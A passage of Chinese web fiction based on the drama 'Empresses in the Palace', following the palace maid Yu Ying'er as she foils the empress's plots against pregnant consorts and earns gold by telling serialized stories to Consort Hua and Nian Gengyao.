嘉贵人早就通过家里换了两个能干的宫女过来,闻言哪有不答应的道理。 “好好好,你拿去瞧瞧吧,我这几日也并没有用,应当无碍。” 那两个婢女也算是精通药理,只是这香粉没有遇到猫之前,也并无不妥。 揣着嘉贵人的荷包,余莺儿又去了玉贵人和锦贵人处。 这两人比嘉贵人谨慎的多,余莺儿也只是叮嘱一句赏花宴带够了人手便离开。 “你瞧你,有事就叫小厦子和小琦子去办,何苦自个儿亲自跑一趟。” 虽然太后瘫痪在床,但她活着。 只要活着,皇上这孝子的名头就稳稳的戴在头上。 所以对于余莺儿,皇上恨不得每天都赏些什么。 “哪里就那么金贵,奴婢不光收了银子,皇上您不是也惦记着几个小主子,奴婢不得去看着才行吗?” 皇上是真的很佩服余莺儿的敬业,他无奈的摇了摇头,指了指一旁敞着口的信道:“你上次是不是跟年羹尧说了什么秘术赘婿修炼三年什么的话本子?” 余莺儿想了好半天,她说过几个片段为了引起年羹尧的好奇心,但具体说了哪几个,她自己也不记得了。 拿起信纸看了两眼,里头具体的姜明二字唤起了余莺儿的记忆。 “哦!这个是奴婢随口说的。” 皇上无奈摇头:“你若是好些了就给他准备着,每天都为了这事上折子,朕都看烦了。” 年羹尧收到小妹的来信本不在意,但这些时日便再也没有收到过余姑娘送来的话本子。 这让在京城各大书店找平替都失败的年羹尧有些心急。 朝臣弹劾他?无所谓,他年羹尧是皇上的大舅哥! 皇上忌惮他?无所谓,皇上还得指望他打仗! 小妹的规劝?无所谓,妇道人家总是心软又胆小的,不必放在心上。 但抓来的书生写不出那份天老大他也是老大的情节?那不行!那样子根本没有一点共鸣,半吊子似的爽感卡的年羹尧不上不下,这绝对不行! 也不怪那些书生,其实古人的想象力绝不逊色未来的作者。只是他们对皇权有敬畏,哪里敢像后人那般嚣张呢? 再加上这些时日余莺儿养病,在年羹尧心里就换了个味道琢磨。 这会不会是皇上故意的呢? 故意卡着话本子不给他看? 皇上真是太奸诈了!竟从这些歪门邪道里考验他这个武将。 虽然委婉的和自家妹子提了一嘴,但嫁出去的女儿泼出去的水,自家妹子反过来叫他不要打扰余姑娘养病。 这对吗? 年羹尧实在不理解,是什么样的病需要养这么久? 那不是躺躺就好的事吗? 年羹尧不解,年羹尧觉得他被做局了。 第377 章 余莺儿26 而能给予这爽文的余莺儿,在年羹尧心里就更加重要。 他在示弱和继续蹦高上犹豫了许久,还是败给了余莺儿那与天同寿的龙王文上。 有时候轴就是一个槛儿,过去了做什么都格外的顺溜。 皇上把高无庸整理出来的年羹尧的请安折子扔到余莺儿手边,没好气叫她看。 “也不知道年羹尧这进士是不是读到了狗肚子里,那种没有逻辑甚至看了开头就能看到结尾的文居然如此痴迷。” 皇上倒也不是瞧不起余莺儿编故事的能力,只是他和年羹尧看不到一起去。 也幸好皇上对龙王开头没有兴趣,所以不理解年羹尧的乐趣。 “武将嘛,都是喜欢直来直去的简单快乐吧?” 余莺儿支着脑袋,动作悄悄的把那些折子拨拉到一边。这玩意儿全是字,看的头疼。 皇上在心里叹了口气,他那皇额娘也不知道听信了谁的谗言,坚信莺儿是那奸佞小人。就这?这种没有脑子的小人真的能办成什么大事吗? “想来这么长时间年羹尧也想明白了,你那话本子继续吊着他的胃口就是。每次只给一点,不用太快。” 皇上是看出来了,年羹尧像是被那些话本子里的人物吸走了精气神一样,若是他不清楚内情,怕是以为他中邪了。 余莺儿表情是懵懂的,但动作是听话的。 等最新版的龙王归来前二十章送到年羹尧手里时,景仁宫的赏花宴也如约而至。 “嘉贵人,玉贵人,锦贵人来了。身子可还好?” 虽然皇后笑的温和,但三位贵人经过这段时间的各种小意外,神经都时刻紧绷着。 “多谢皇后娘娘关怀,嫔妾一切都好。” 三人安静的行了礼,一人找了一个不起眼的角落静静的站着。 皇后一瞧这不行啊,便叫剪秋准备了垫子叫三个孕妇坐在了一起。 虽然香粉这一计划早早的被迫终止,但皇后绝不是个轻言放弃的人。 不过这一次远不如原剧里那般顺利,首先原剧里被拉拢着调配香粉的安陵容,在这一次并没有被皇后握在手心。 毕竟早早和甄嬛二人产生了龃龉,安陵容自己安安分分的,倒也没什么可让皇后拿捏的。 没了安陵容皇后自己也可以,她精通药理又有章弥在。 而第二个道具松子,也没有出扬。 三福晋瓜尔佳文鸳有了身孕,三阿哥和齐妃哪有心思养猫养狗,便是一丁点寒凉三阿哥都不敢碰,生怕影响了自个儿的宝贝孩子。 没有松子也没有安陵容打辅助,这一次的行动完全是皇后自己一个人自导自演。 前段时间已经从猫狗房要来了一只通体雪白的波斯猫,培养许久,就是为了这一刻。 “天光正好,本宫这里有一只名唤松子的波斯猫,你们瞧瞧。” 西林觉罗答应站在最前头,这花花架子自然要抬起来。 “呀,这猫儿可真好看,皇后娘娘费了不少心思吧?” 有人开了口,容常在等人也一言一语的接上了话,扬面一时间热闹的很。 华妃坐在一边翻了个白眼,她今日不找事只是因为昨儿连夜看完了余莺儿给她二哥的新话本,精力不济。 不过在扬的人也都是相处久了的,谁也不会在华妃安生的时候突然撩拨两下。就连皇后都没有顾得上华妃,毕竟今天是她打胎的重要时刻。 可惜一切准备就绪时,外头响起了一道她不愿意听的声音。 “皇后娘娘,皇上叫奴婢来看看,有没有需要帮忙的地方。” 是余姑娘来了! 刚刚还绷着身子满身警戒的嘉贵人突然就松了口气。那香粉叫太医看了,余姑娘传信儿回来说是里头有引诱猫发狂的香料。 吓的她几天都不敢出门,好在身边的两个婢女稳当,不至于叫嘉贵人自己吓坏了自己。 玉贵人和锦贵人虽然表现的不算明显,但细看也能察觉出两人的热切。 皇后勉力笑了笑,有余莺儿在扬的地方,她就很难顺利。 可惜她刚在太后那里告了一状时疫就来了,余莺儿为了太后试药,就这一份功劳,皇后就知道,太后不会动手了。 她眼珠子一转,看了眼身后的剪秋。 剪秋想了想,嘴角噙着笑准备退出去。 “剪秋这是去哪?怎么我一来你就要走?” 余莺儿哪里不知道这主仆俩的算计,这怕不是准备粗糙的把今天的屎盆子扣在她头上吧! 剪秋慌乱中飞快的看了一眼皇后,没有得到想要的提示只好站在原地:“余姑娘误会了,只是想着余姑娘身子不好,准备些吃食罢了。” 余莺儿松开剪秋用帕子擦了擦手心:“不必忙了,误了皇后娘娘的事就不好了。” 余莺儿到底是个宫女,剪秋也不好执意要为其准备吃食,只好站回到皇后身边。 都准备到这个地步了,皇后不信余莺儿能一下子看顾三个孕妇,直接示意剪秋行动。 三位贵人坐的垫子都放了吸引猫咪发狂的东西,所以松子一被放下来,就直奔嘉贵人而去。 余莺儿在心里摇了摇头,也不知道这嘉贵人的运气是不是太差了点,同样的套路,怎么松子就认准了她呢? 不过该干还是要干的,她两步上前把松子抓了起来。 虽然无人受伤,但突然发狂的松子还是叫大家有些惊慌。 余莺儿举着松子喊了一句:“娘娘们小主们安静些,奴婢带了御林军过来。” 本就失手的皇后脸色更加难看。 “余姑娘何必惊动御林军,不过是一点意外罢了。” 剪秋想要来抢松子,却被余莺儿紧紧的抱着。 “皇后娘娘这是,威胁奴婢?” 余莺儿可是御前最混不吝的,皇后话说出口就有些后悔。 这人不像之前的苏培盛活泛也不像现在的高无庸安静,属实是很难缠。 “就事论事,你不过是御前的宫女,何故指挥起了御林军?” 有时候余莺儿真的很忧心皇后的智商。 她是宫女,能使唤御林军,谁允许的,这不明显吗? “查。” 余莺儿才懒得和皇后废话,直接叫人把太医叫来,对着今日得嘉贵人和松子望闻问切。 确定了问题,余莺儿福了福身抱着松子带着三位贵人来到了养心殿。 “不过是下人手脚不干净做错了事,三位贵人受了些惊吓,皇上可要给小主们补偿一二?” 皇上点了点头,一人给了一个嫔位就算是打发了。 “你做的好,也亏的你心细,若不然今日怕是麻烦了。” 登基也有些日子了,除了温宜一个孩子都没有,朝堂上不是没有别的声音的。 “都是小事,保胎能有多难。” 余莺儿摆了摆手根本没往心里去。 “奴婢还应了华妃娘娘说书呢,皇上,奴婢先去了啊。” 皇后在外头等着,皇上肯定得骂上两句,余莺儿没兴趣听,还不如去赚钱。 “去吧。” 余莺儿一向懂事,皇上很放心。 只是他放心早了,今日余莺儿起的话头是一个十分狗血的爱情故事,蓝色生死恋。 余莺儿稍作加工,把所有虐文必备的情节都加了上去。当然了,不止虐女主,男主也跑不了,主打一个一视同仁。 你断腿来我失忆,你双目失明我就得了咳血症,主题只有一个,痛哭吧,华妃。 第378 章 余莺儿27 余莺儿到底还是低估了【蓝色生死恋】的威力,其中她为了男女平等增添的各种意外情节叫翊坤宫差一点就水漫金山。 “呜呜呜,莺儿,他们,他们两个一定会好好儿的在一起的,是不是?” 看着华妃这几日越发红肿的双眼和肉眼可见憔悴的面容,余莺儿难得良心发现了一瞬间,犹豫住了。一起去死,也算是好好的在一起吧? 只是她这一番犹豫更显得不对,华妃‘哇’的一声哭了出来。 “他们都这么惨了,还不能有情人终成眷属吗?” 余莺儿张了张嘴,看了看华妃又看了看一旁哭的一样凄惨的颂芝,把想要安慰的右手收回,自己挠了挠脑袋。 “娘娘,这月还有阴晴圆缺呢,咱们是但愿人长久,但万物有悲欢离合,总不能事事如愿嘛。” 华妃听不进去,她换了条帕子继续擦拭眼泪,说话的鼻音越发的重:“可这明明是你来说的书,本宫给你一百两,黄金,你给他们一个好的结局。” 刚才还想说自己威武不能屈的余莺儿立刻把那话咽了回去。不过她还是劝说了一句,毕竟悲剧也有悲剧的美,强行he总会有些不伦不类。 “您可要想清楚了,这故事有的时候遗憾才是最美的。” 华妃对余莺儿的说书能力没有质疑,但她又实在想看一个团圆美满。 犹豫了半晌,华妃也没能抉择出如何选择。 余莺儿眼珠子一转,看着华妃有些破皮的鼻头难得发了善心,实则是舍不得那一百两黄金:“不然,奴婢先正常把这书说完,然后给您补一个全家欢乐的结局?” 华妃和颂芝两个人同时亮起了眼睛,只觉得再没有比余莺儿更好的人了。 “虽是如此,本宫也不能亏了你。那全家欢乐的结局怕是要你重新改过,这一百两黄金本宫还是许你的,一定要好好儿的,知道了吗?” 有金子拿,余莺儿才不会客气。 她笑弯了眼睛拍了拍胸口:“放心吧娘娘,明儿咱们就能听到俊熙和恩熙的好消息了。” 至于为什么不是今日,华妃自己都有数。今天哭的太多,眼睛痛嗓子也痛,总要有时间缓缓。 也不知道是不是华妃的错觉,每次哭的心口疼的时候凑近欢宜香使劲儿吸一口,就会好受很多。 并不通药理和香料的华妃把这一现象归功于皇上的爱护和体贴,这蓝色生死恋都没有把华妃的恋爱脑哭出来,反而超级加倍了。 余莺儿表示这波是真的没想到,要不说挖野菜的脑回路正常人不要猜呢。 “皇上,奴婢回来啦。” 一百两黄金的分量还是很压手的,余莺儿抱着盒子兴冲冲的分了一半给皇上。 “皇上,咱们的小私库又有进账了!” 分明是守财奴的模样,但分给皇上时半点也不心疼。皇上笑纳了余莺儿的好意,并给她的令牌上挂了一串明黄色的络子。 “华妃这几日都憔悴了不少,下次还是换一个书说吧?” 有时候听书的人会代入到角色中,尤其是有大把时间消遣的后妃,闲暇时总会不自觉的想起书中的片段。 华妃就是如此。 皇上哪里见过感情如此充沛的华妃,一时间竟也有些招架不住。 余莺儿点了点头,她也没想到虐文的威力如此之大,这段时间她确实不打算再开这种情节的书了。 “皇上,华妃娘娘和年大将军都送了好些金子进宫了,这年家,不会被奴婢吃光吧?” 余莺儿把自己的盒子放到屁股底下坐着,撑着脸一副愁苦的模样逗乐了皇上。 他点了点余莺儿的额头:“你想太多了,年大将军为了挣钱听书,打量着抄家去了。” 年羹尧发现收敛孝敬的速度远不如直接抄家来的痛快,所以摒弃了以往和朝臣蝇营狗苟的小动作,反而磨刀霍霍向同僚。毕竟,年大将军对哪家有钱可是一清二楚。 至于卖官鬻爵?那玩意实在不够挣钱,年羹尧早就不做这买卖了。 不过他有一本曾经向他买官的官员名单,照着去抄,一抄一个准。 一个贪官大抵可以养活四五本龙王归来。等花光了年羹尧就继续抄家,一小半给国库,一大半自己私藏。 皇上对年羹尧的行为睁一只眼闭一只眼,因为,私藏的那一大半,也会进到他的大宫女余莺儿的口袋。 而忠心的余莺儿又会把这进项分一半给他这个皇上,兜兜转转,挣钱的最终还是他。 至于打仗,年羹尧确实是玩忽职守了。 不过好在岳钟琪和年富年兴也历练了出来,两个儿子像是野草一样被年羹尧扔了出去。 整个年家从贪污跋扈不受众人待见那一头,很快划到了抄家不受所有人待见的那一头,整个过程丝滑又怪异。 大部分人并不了解内情,只是华妃在宫里头痛哭七天七夜的消息还是传了出来。 这下子皇上用华妃威胁年羹尧的名声是彻底洗不掉了。这消息人云亦云,等到张廷玉带着最新消息进来时,外头甚至有华妃被皇上严刑拷打的荒缪言论。 没办法,年羹尧虽然沉迷在龙傲天的世界,但他也不会无缘无故去说自己因为话本子荒废了军务,也不能说自己从前太嚣张被皇上忌惮才顺势急流勇退。 所以他只能默默的往翊坤宫送了不少金银珠宝,算是安抚自家小妹在外头已经没有几口气的名声。 【蓝色生死恋】大结局的那天,华妃特意把江城也叫到了翊坤宫准备着。 颂芝准备了大量的清水和干净柔软的帕子在侧,主仆几人都是同款的严阵以待。 第一个版本如余莺儿预想那般,恩熙死在俊熙怀里,俊熙精神崩溃从悬崖上失足坠落,两人也算达成了同生共死的结局。 余莺儿闭上嘴后退一步,默默的找了个地方坐了下来。熟练的掏出两个小一些的手帕塞进耳朵里,端着茶杯发呆。 而第一次经历这样的场面的江城也眼眶红红的站在原地,虽然前因后果他都不知道,但是两个有情人死的好惨还是听的出来的。 余莺儿没注意江城的失态,她小口嘬着茶水顺便啃了几块蟹粉酥。 啊,阳光真好啊。 等到主仆俩情绪平静下来,阳光已经从余莺儿的脸上挪到了腿上。 “莺,莺儿,那,我的那个全家欢乐的结局呢?” 沙哑的嗓子听起来就可怜兮兮的。 江城总算知道了这些时日外头那些匪夷所思的流言从哪来的了。 余莺儿咳了咳,把准备好的第二个版本讲了出来。 其实这结局在余莺儿看来算的上是强行圆满。 不过,在华妃耳朵里却如同是天籁之音。 “本宫就说,过五关斩六将的有情人,是有福报的。” 颂芝赞同的狠狠点头。 余莺儿想了想华妃的金子,也表示了认同。 第379 章 余莺儿28 听书的风到底还是从翊坤宫吹往了东西六宫。 只是余莺儿也不是谁的单子都接的,好歹要比华妃出手阔绰才可以,不然就是平白降低了她的格调。 这样筛选下来,唯二胜出的只有嘉嫔富察氏和玉嫔碧鲁氏。 富察氏不必多说,祖辈的蒙阴族中人口的出众,家底在后宫排得上前三。 至于第一,那必须是内庭世家碧鲁氏。 碧鲁氏从大清入关前就跟着满人的祖宗处理繁琐的杂事。入关后整个族姓都安排到了内庭任职,祖祖辈辈的积攒的家底,非常人可以想象。 玉嫔又是第一个和余莺儿交好的宫妃,对余莺儿的行情和能力都有很全面的了解。 再加上玉嫔也到了生产的日子,即便不为了那天马行空的话本子,玉嫔也是要找个由头请余莺儿来坐阵的。 不是碧鲁氏一族对后宫的手段了解的少,而是玉嫔发现,这位余姑娘对皇后娘娘的手段有完美克制的能力。 肚子里的孩子经过太医把脉有八成的可能是个男孩,这可是碧鲁氏的希望,玉嫔自然是再谨慎不过。 余莺儿收了金子照旧分了一半给皇上,然后忙碌的奔赴在自己接的私活的路上。 皇后果然没有死心,只是她的小动作无非就是收买接生嬷嬷或太医,这一点早就被内庭大户碧鲁氏屏蔽了。 他们有人有钱,根本不怕这些不入流的手段。 余莺儿守在玉嫔身边,即使皇后带着章弥过来,也被她挡了回去。 “皇后娘娘仁善,只是玉嫔娘娘目前安好,章太医在外头等着就是。” 玉嫔这一匣子金子的重要性这时候就显现了出来,除了余姑娘,谁敢拒绝皇后娘娘送来的太医呢? 被开恩得以回去休息的锦嫔和嘉嫔对视一眼,两人的预产期接近,就怕碰巧了,成为争夺余姑娘的对手。 余莺儿暂时对自己的重要性一无所知,她只是庆幸自己是女官不是妃子,这生儿育女的差事落不到她头上。 傍晚发动,清晨六阿哥出生,迎着朝霞,玉嫔变成了玉妃。 皇上变的大气了许多,主要是靠着余莺儿的收入和年羹尧的抄家,私库和国库都是满登登。 更何况妃位如今只有华妃和齐妃两人,正好这次生了皇子的,皇上都打算再给晋一位。 无关宠爱,这些宫妃的家世都不错,于前朝也有裨益。 六阿哥满月是余莺儿操办的,因为皇后病了。 皇上懒得听皇后那些没什么用的平衡之道,索性叫她病着。 余莺儿对这些事都是驾轻就熟,就连华妃手里的宫务也慢慢被皇上收了回去。 华妃一开始还不太乐意,但余莺儿给了华妃一个仙凡恋的本子瞬间转移了华妃的注意力。 这本子的名字足够吸引华妃的心神,里头那些爱恨纠葛跌宕起伏,即便是华妃格外厌恶看书,这满纸的文字也完全引不起她的反感。 “颂芝,你说这两个人的情缘是真的能经历【三生三世】吗?” 华妃有些怅然的看着素素跳下诛仙台,只觉得这男人,没有一个可靠的。 颂芝叹了口气,本来对嫁人就没有念头的她如今都有些厌男了。 “应当有的,娘娘,这些神仙要顾及因果,咱们又不用。” 颂芝并没有安慰到华妃,反而摸了摸肚子。 “你说,莫不是本宫和皇上也是如此,这肚子里的孩子,也是还债了?” 这话颂芝哪里敢接,好在华妃也只是有感而发,并不是非要颂芝回话。 虽然【三生三世】是大圆满的结局,但华妃总觉得心口酸酸涩涩的。 “夜华如此,实在配不上白浅。” 华妃娘娘这是第一次讨厌大圆满结局。 余莺儿想着最近有些忙,怕是顾不得华妃这里,便叫了她从圆明园带回来的宫女盼儿,带着几个能说会道唱念做打的,在翊坤宫办起了戏班子。 “娘娘,您若是不喜欢夜华和白浅的结局,便叫这些宫人演给您看您想要的就是了。” 华妃若有所思,她觉得这倒是个新鲜的玩意儿。 “还是莺儿懂本宫。” 华妃笑着递了一个实心的金镯子给余莺儿,表示自己这几日不听书了。 余莺儿笑着应了是,叫盼儿好好干着就离开了翊坤宫。 延禧宫那儿的嘉嫔还等着她呢。 嘉嫔的肚子有些格外的大,太医确定了双胎,嘉嫔便更加紧张了起来。 她哪里能保的住两个孩子?宫道上莫名其妙出现的小石头,时不时被身边的听雨听风撤下来的菜,半夜的哭嚎声时时刻刻刺激着她本就脆弱敏感的神经。 “莺儿,莺儿呜呜呜,晚上有鬼,有鬼!” 听雨和听风也是一脸菜色,她们是富察氏本家出来的,方方面面都训练了些。只是没想到这位富察氏的姑奶奶胆子小又不聪明,一点点风吹草动都能给她吓的肚子疼。 余莺儿皱了皱眉,嘉嫔胆小这事从前是安陵容发现的,不过嘉嫔本也做不了戏,被皇后发现也算不得意外。 “有鬼?!奴婢倒不信这个,今晚奴婢和皇上说一声,在嘉嫔娘娘这里守着,奴婢倒要看看,谁这么大胆敢在后宫装神弄鬼。” 她说着,眼神往外头扫了一圈。听风和听雨手段不错但进宫太晚,难免还是有些不足。 延禧宫也算得上是卧虎藏龙了。 皇上得知余莺儿要熬夜加班,也只是说了一句注意身体,然后大方的把自己的御膳给了她,自个儿溜达去了永和宫。 余莺儿在当比格时克扣太后的那些碗盘终于有了用场,一个都没有浪费,被御膳占的满满当当。 吃饱喝足,余莺儿悄悄到延禧宫报到,避开了白天那几个有些奇怪的宫人。 “莺儿你......” 久久等不到余莺儿,嘉嫔都要哭出了声。 好不容易看到余莺儿的身影,还被堵住了嘴。 “别出声嘉嫔娘娘,奴婢是悄悄来的。” 嘉嫔不聪明,但是也不算傻。 “是,是我宫里的人?!” 看着余莺儿点头,嘉嫔越想越生气,她对这些宫人多好啊,赏钱和偶尔的肉菜从来都没有小气过。居然还有奴才背叛她! 临到夜深,余莺儿都快睡着了,突然被嘉嫔的尖叫吵醒。 “看,看..” 嘉嫔的声音都有些哆嗦。 余莺儿安抚了一下嘉嫔,自个儿悄悄靠近。 她来的时候带了小琦子,小琦子带人早早埋伏在了院子里。 那一晃一晃的影子还没来得及飞走,就被小琦子一个恶狗扑食扑倒在地。 看着那个披着白布的太监余莺儿有一瞬间的恍惚,这剧情,就非得有人走一次才行吗? 第380 章 余莺儿29 “本宫待你不薄,你竟如此恩将仇报!” 嘉嫔伸出的那根手指颤颤巍巍的,看着就是气狠了的样子。 余莺儿翻了个白眼,觉得嘉嫔算是废了。 “娘娘,奴婢先把人带下去了,皇上那里也得说一句呢。” 像这种小太监,能被收买自然是背后之人以利而诱或以家人威胁。 如嘉嫔所言,延禧宫的日子其实还算好过,她出手大方,虽然偶尔闹脾气,但并不是那会打骂奴才的。 既然如此,那定是小球子的家人被人抓了去,宫斗嘛,都是这些套路,余莺儿都看腻了。 太医一早在来时就备下了,和背着药箱子的医侍安安静静的站在廊下,好似木头桩子,耳聋眼瞎一动不动。 得了余莺儿的吩咐,两人才似‘活’了过来,小跑着上前给嘉嫔把了脉,又开了一副安胎药才离开。 “娘娘您放宽心,有奴婢在呢,定能保您安安稳稳的把小主子们生下来。” 富察氏出手大气,得知她并不收银票后,即使颇浪费了些人手,也通过特殊渠道送了一箱子金子到她的小屋子。 有这份金子在,嘉嫔就算是把自己蠢出天际,余莺儿都能忍上一忍。 “诶,本宫知晓莺儿是个可靠的。” 嘉嫔拉着余莺儿的手有些恋恋不舍,若不是实在争不过皇上,嘉嫔愿意把自己的私房钱都给余莺儿,好换她这些时日能常伴左右。 小球子到底有家人在,嘴硬的很。夏刈费了一晚上时间也没从他嘴里套出幕后主使。 余莺儿打着哈欠来到内务府那小型暗室时,夏刈已经筋疲力竭了。 她挥了挥手,拒绝了夏刈的讨好。 “叫我说你就是个傻子,你不会以为这天下是你那位主子的天下吧?这天下万物都是皇上的,你那主子就算再有本事,还能厉害的过皇上? 你若是现在招认了,皇上只需要挥挥手,就有人能把你家人救出来。但若是你坚持不说,皇上也不过是费些力气罢了。真等到皇上把那人找出来,你谋害后妃和皇嗣,可是株连九族的。” 被折磨的浑身是血的小太监猛然抬起头,苍白的脸上满是急切:“皇上,皇上真能救出奴才的娘亲和弟弟?” 小球子是家中长子,世道艰难,自卖进宫为母亲和弟弟挣一口粮食活命。 若能选择,谁愿意当这男不男女不女的东西呢? 余莺儿点了点头,这手段一瞧就是皇后。她这庶女人手有限,江福海那儿不过是一鞭子的事儿就能找出皇后宫外的老巢。 小球子咧了咧嘴,鲜红的血从他的牙根处滴滴嗒嗒的往下流。 虽然气息越来越短,但还是坚持着把幕后主使剪秋供了出来。 余莺儿拿着口供找了皇上,经过同意叫高无庸把江福海捆了过来。 “你现在处理事情越发周全了。” 皇上看着余莺儿没有莽撞的自己去景仁宫拿人,心里头十分的宽慰。 余莺儿把富察氏那一箱子金子一分为二,用皇上给她的羊毛毯包着放到皇上的桌子上。 “瞧您这话说的,皇后娘娘是国母,就算是有过错奴婢也得悄悄的来。不然连累了您的名声,奴婢可真是万死不辞了。” 皇上扒拉了扒拉毛毯里的金条,对富察氏的有钱表示了咋舌。 “富察氏,果然有底蕴。” 这让刚接手朝堂时国库跑马的皇上狠狠的羡慕了。 “那谁能有咱们皇上,爱新觉罗氏有底蕴?不过区别是,他们这些老牌世家养的只有这一家子,而咱们皇上养的是一个国家。多大的底蕴,在每年的意外里都得搭进去不少啊。” 哄皇上而已,余莺儿表示这工作简直是易如反掌。 “书读得不精,倒是有满嘴的大道理。” 皇上的嘴角不自觉的扬起来,却仍旧要做严苛状,一点威力也没有。 江福海不愧是皇后身边的大太监,两鞭子就招了所有的事。 皇后杀了皇后,这简简单单六个字把皇上的心气儿都打了下去。 余莺儿也有些闹不懂江福海的脑回路,明明没有人问,他怎么说的那么干净? 皇上如今对纯元皇后正是上头的时候,好不容易有个菀菀类卿还是个品德低劣的,这不更显得纯元的美好。 对于皇后这个罪魁祸首,也实在痛恨。 太后病病歪歪的在床上躺着,没得褥疮都是她的身份足够尊贵。 更别说留下不准废后的诏书了。 皇上肃清朝堂,后宫也有几个大姓支撑着,皇后这个乌拉那拉氏族里青黄不接的国母本就不得人心。 被废也就废了。 皇上刚刚登基不久,废了这个皇后,这些满族老臣都起了心思。 乌拉那拉氏由皇后变肃贵人,迁居到寿康宫后头的春禧殿禁足。 这消息在东西六宫像飓风一般袭过,除了华妃和齐妃,其余人都不算特别关注。 华妃自然有心,只是清醒过后的年羹尧更为理智,不用皇上浪费心神。那对兄妹自己就哄好了自己。 而齐妃则是有了孙子,这可是皇上头一个孙子,她自然在翠果的恭维中有些飘飘然。 况且她那儿媳也不是个聪明的,婆媳俩守着白胖的大阿哥已经开始畅想未来。 不过这份兴奋和骄傲并没有持续很久,因为延禧宫的嘉嫔提前生产,双胞胎阿哥,七阿哥和八阿哥。一对二,这对脑子凑不出一个的婆媳俩彻底萎了下来。 两个阿哥,皇上喜的眼睛都要笑没了。当扬晋了嘉嫔为嘉妃,看着两个小红皮猴子是满心的愉悦。 “莺儿!你果然是朕的福星。” 皇帝一直相信余莺儿身上自带福气,所以才能为他挣钱又肃清后宫。 “当不得当不得,奴婢哪有那么厉害。” 余莺儿一边说着一边笑,那种客气又并不是那么客气的样子如皇上第一次见到余莺儿时一模一样。 “朕说你当得你就是当得。” 余莺儿生的也是清秀,加之在皇上身边养的好,容貌也越发出挑。 皇上从前也想过是否把余莺儿收入后宫,但这念头也只是一闪而过,他并不愿打破和余莺儿如此和谐又舒服的相处。 如今他更加庆幸自己的决定,妃妾易得知己难求,相较于妾室,余莺儿更似是伙伴。 嘉妃的双胞胎叫后宫人见识到了余莺儿保胎的手段,一个个卯足了劲儿的往养心殿送汤水,好叫自己也能得个一儿半女,不至于老无所依。 而前朝也对皇上的后位很是觊觎,一个个上折子的上折子,打感情牌的打感情牌,皇上一时间就像那香喷喷的唐僧肉,谁都想咬一口。 这让从记事起就人缘一般的皇上很是不适应,不过后宫需要一个皇后,皇上也在认真挑选。 第381 章 余莺儿30 不过这是好名声,因为只要钱给够了,余莺儿办事从没有过败绩。 富察氏自知这扬后位之争其家族没有任何优势,索性宫里头的嘉妃已经有了一对阿哥,他们也不急。 只要熬过了这一朝,富察氏的荣光从不会黯淡。 而瓜尔佳氏,赫舍里氏,钮钴禄氏和那拉氏等却很有动力,公平竞争,他们家的姑奶奶都是有一拼之力的。 太后卧床,皇上身边能商量事的就只有余莺儿。 看着送上来的画像,主仆俩对着一顿分析。 皇上主要负责家世,余莺儿负责记下资料再细细打听。 这事好做也不好做,最关键的点在于余莺儿的身份。 女官不适合在后宫开茶话会,大张旗鼓去调查也只能看到人家展示给外人看的面子工程。 于是,粘杆处成了余莺儿的帮手。 这打听小道消息就和后世的狗仔一样,你得懂隐蔽还得有耐心。 余莺儿做鬼时跟过几个狗仔,他们不分严寒酷暑,兢兢业业的跟着明星屁股后头跑,别管黑料有没有,但总有些不为人知的小爱好。 粘杆处人多,手脚利索,面容普通,特别适合这份工作。 虽然都是后宅女子,但满人家的姑奶奶都是有社交的,跟在别的格格马车后头听上几天,再细心筛选真假,大范围筛选出了瓜尔佳氏和赫舍里氏两位格格。 皇上咂了咂嘴盯着画像看了又看,最终定下了瓜尔佳氏的格格。 新后入住承乾宫,二八年华的娴静姑娘温柔有主见,皇上虽然不算特别喜爱,但该有的敬重给的很足。 皇后在第二日接过了大部分的宫务,至于皇上交给余莺儿管理宫人的那一部分,她识趣的没有往手里头揽。 后宫,宗亲,命妇,她能有所作为的地方很多,没必要和皇上身边最信任的女官过不去,她懂得利弊。 为了这后宫热闹起来,余莺儿还特意找太医给皇上研制了补身子的药膳。皇后还年轻,没有孩子怎么行? 至于华妃,那是她的大客户了,还比她老,今后有她余莺儿在,不会叫她难过的。 皇上只感动于余莺儿的贴心,万没有想到这是余莺儿对他的不信任。 在承乾宫睡了一个月,皇后深感后宫姐妹不多,子嗣少,请求皇上选秀。 虽然有年羹尧抄家贡献出来丰厚的国库,皇上仍旧是那个小气抠门的胖橘。 “选秀劳民伤财,朕也不欲如此麻烦。” 皇后是个标准的政治国母,她充分的理解了皇上的言中意,和余莺儿商定后在后宫举办了一扬小宴。 其实这点事皇后自己就能办完,和余莺儿商议不过是表示自己尊重皇上这个御前女官罢了。 “这后宫又要进新人了,也不知道咱们余姑姑忙不忙的过来。” 虽然锦嫔生下了三公主与妃位无缘,但经过余莺儿的手皇嗣百分百的成活率还是太叫人眼馋了。这段时日余莺儿基本都在外头出差,惹得华妃十分酸溜溜。 余莺儿凑过去看着华妃傻笑:“娘娘这话可是折煞奴婢了,这后宫人再多,也没有娘娘重要啊。” 她说着,还试探着讲了一个耽美纯爱的小段子,哄的华妃眉眼带笑,气势都变的温软了下来。 “两个男人,也算的上是惊世骇俗了。难为他们如此坚定,真真儿是极好的。” 古人的思想远比现代的许多小年轻还要放的开,华妃对耽美文学接受良好。 新鲜的故事总是吸引人眼球的,华妃早就把余莺儿这几日不见踪影的不痛快抛在了脑后,一门心思的为那纯真的爱情感动着。 “对了,哥哥那里你可准备好了?这信都送了三次了,本宫瞧着都累。” 年羹尧前段时间带兵跑到外头去剿匪,积极主动的异样还被皇上查探了一二。 原是那山匪名声在外,当地的官府也拿其没有办法。据说那匪窝里富得流油,这不就引了年羹尧惦记着。 他二话不说就和皇上请命带兵过去,有那看了一半因为没钱而迟迟不得后续而知的话本子勾着,年羹尧勇猛更甚从前。 这钱也拿回来了,余莺儿自然把后半部分的文交了出去。 “都在这儿了,年大将军喜欢的话本子内容太过......” 余莺儿说着,指了指天上,然后继续小心翼翼的道:“奴婢得谨慎着呀。” 华妃点了点头表示理解,她二哥这是把话本当顶梁柱用了。 “不知道莺儿这里还有没有像恩熙这般的话本子了?” 这虐文的受众也很难戒瘾,虽然听了心口疼,但不听又想念。 还有这样的要求?余莺儿当然要满足。 “自然是有的。” 那【天国的阶梯】也是虐身又虐心,余莺儿记得真真儿的。 华妃就知道余莺儿不会这么轻易被掏空,她把从年羹尧那里要来的一匣子金元宝塞到余莺儿怀里,眼神亮晶晶的带着期待。 用了十三日的时间,余莺儿讲完了这部完美的虐恋情深,给华妃哭的连晨昏定省都请了假,还叫皇后亲自过来探望了一次,带着不解回到了自己的承乾宫。 然而不解和好奇,就是人类的猫薄荷。 